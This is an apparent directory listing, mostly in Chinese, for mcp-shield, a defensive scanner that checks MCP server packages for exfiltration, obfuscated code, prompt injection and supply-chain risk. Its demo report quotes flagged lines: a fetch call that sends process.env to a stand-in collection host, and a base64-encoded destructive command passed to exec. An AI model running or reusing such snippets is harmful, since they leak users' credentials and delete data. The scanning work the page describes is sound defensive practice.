mcp-shield
mcp-shield
一个用于 MCP 服务器的安全扫描器 —— 在后门、数据外泄、提示词注入和供应链风险到达您的 AI 之前将其检测出来。
MCP 生态系统正在快速增长。并非 npm 上的每个服务器都是安全的。mcp-shield 让 Claude 能够在您将文件、密钥和上下文交给 MCP 服务器之前,对其进行审计(无论是本地服务器还是来自 npm 的服务器)。
检测内容
类别 | 示例 |
数据外泄 | 通过网络发送 |
代码执行 |
|
混淆代码 | Base64 运行时解码,十六进制编码的载荷,字符代码数组 |
敏感文件访问 |
|
提示词注入 | 隐藏指令,零宽字符,角色切换攻击,越狱模式 |
供应链 | 包的发布时间,下载量,维护者数量,依赖项中的 CVE |
Related MCP server: mcpwatch
演示
You: Scan the npm package "some-sketchy-mcp-server" before I install it
Claude (using scan_package):
## mcp-shield scan: some-sketchy-mcp-server
Verdict: DANGEROUS | Findings: 2 critical, 1 high
### Code Findings
#### index.js
- [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })
- [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
const cmd = Buffer.from("cm0gLXJm...", "base64").toString()
- [HIGH] [EXEC004] child_process exec/spawn — shell command execution (line 13)
exec(cmd)
### Supply Chain
| Published | 2 days ago |
| Downloads/wk | 3 |
| Trust Score | 15/100 — RISKY |
Flags:
- Package published less than 7 days ago
- Very low weekly downloads (<100)工具
工具 | 功能 |
| 下载 npm MCP 包并扫描其中的恶意模式 |
| 扫描本地 MCP 服务器目录(从 GitHub 克隆等) |
| 检查工具描述或响应中是否存在隐藏的注入 |
| 获取任何 npm 包的信任评分、CVE、维护者数量和发布时间 |
安装
选项 1 — npx (无需安装)
claude mcp add mcp-shield -- npx mcp-shield选项 2 — 全局安装
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield选项 3 — 手动配置
添加到 ~/.claude/claude_mcp_config.json:
{
"mcpServers": {
"mcp-shield": {
"command": "npx",
"args": ["mcp-shield"]
}
}
}使用示例
"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"工作原理
静态分析 — 使用包含 5 个类别中 20 多种攻击特征的正则表达式库扫描 JavaScript/TypeScript 源代码文件。
供应链审计 — 查询 npm 注册表以获取包元数据,然后运行 npm audit 以发现依赖树中已知的 CVE。
提示词注入检测 — 检查工具描述和响应中是否存在零宽字符、指令覆盖、角色切换攻击以及其他针对 LLM 的技术。
--ignore-scripts 安装 — 在扫描 npm 包时,使用 --ignore-scripts 进行安装,确保在分析过程中不会运行恶意的 postinstall 钩子。
贡献
欢迎提交 PR。检测模式位于 src/patterns.ts — 添加新的特征只需增加一个对象。
git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev许可证
MIT
Available Tools
4 toolsaudit_supply_chainB
Audit an npm package's supply chain health: publish date, weekly downloads, maintainer count, dependency count, and known CVEs. Returns a trust score from 0-100.
Inputs: package_name (required), version.
check_prompt_injectionA
Scan text (tool descriptions, tool responses, MCP server manifest content) for prompt injection attacks, hidden instructions, zero-width characters, jailbreak patterns, and instruction overrides.
Inputs: text (required), label.
scan_directoryA
Scan a local MCP server directory for backdoors, exfiltration code, obfuscation, and dangerous patterns. Use this for MCP servers installed locally or cloned from GitHub.
Inputs: path (required).
scan_packageA
Download an npm MCP server package and scan it for backdoors, exfiltration code, obfuscation, dangerous code execution, and supply chain risks. Returns a full security report with severity ratings.
Inputs: package_name (required), version.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 4 tools
Each tool has a clearly distinct purpose with no overlap: audit_supply_chain focuses on npm package health metrics, check_prompt_injection analyzes text for injection attacks, scan_directory examines local MCP server files, and scan_package downloads and analyzes npm packages. The four tools cover different security aspects without ambiguity.
All tool names follow a consistent verb_noun pattern using snake_case: audit_supply_chain, check_prompt_injection, scan_directory, and scan_package. The naming is predictable and readable throughout the set.
With 4 tools, this server is well-scoped for its security-focused purpose. Each tool earns its place by covering distinct security domains (supply chain auditing, prompt injection detection, local scanning, and package scanning), avoiding bloat while providing comprehensive coverage.
The tool set provides complete coverage for MCP server security assessment: it handles both local and remote sources (directories and npm packages), includes both static analysis (scanning) and dynamic checks (prompt injection), and covers supply chain risks. No obvious gaps exist for this domain.
Maintenance
Related MCP Connectors
Audit your MCP servers for poisoned tools and leaked secrets, and check AI-generated code for flaws.
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Scan any MCP server for tool-poisoning, security, auth & license. Trust score before install.
Security audit for MCP servers: command injection, unsafe file access, secrets, prompt injection.
Related MCP Servers
- AlicenseAqualityDmaintenanceDiagnose, secure, and benchmark your MCP servers. Zero-config CLI for Claude Code, Cursor, VS Code, and Windsurf.44MIT
- AlicenseNot gradedqualityDmaintenanceMCP server that audits other MCP servers. Run MCPWatch security scans from inside Claude Code or any MCP-compatible agent with 10 OWASP MCP Top 10 aligned checks and A-F letter grades.MIT
- AlicenseNot gradedqualityDmaintenanceDiagnose MCP servers — health checks, tool testing, token cost audits, conflict detection, and security scanning with 50+ prompt injection patterns. Works as CLI or MCP server inside Claude Desktop.1MIT
- AlicenseAqualityBmaintenanceSecurity for the MCP servers you use: detects tool poisoning, rug pulls, shadowing, secrets and supply-chain risk (OWASP MCP Top 10), with runtime guards and approved-server policy. Runs locally.1773 npmMIT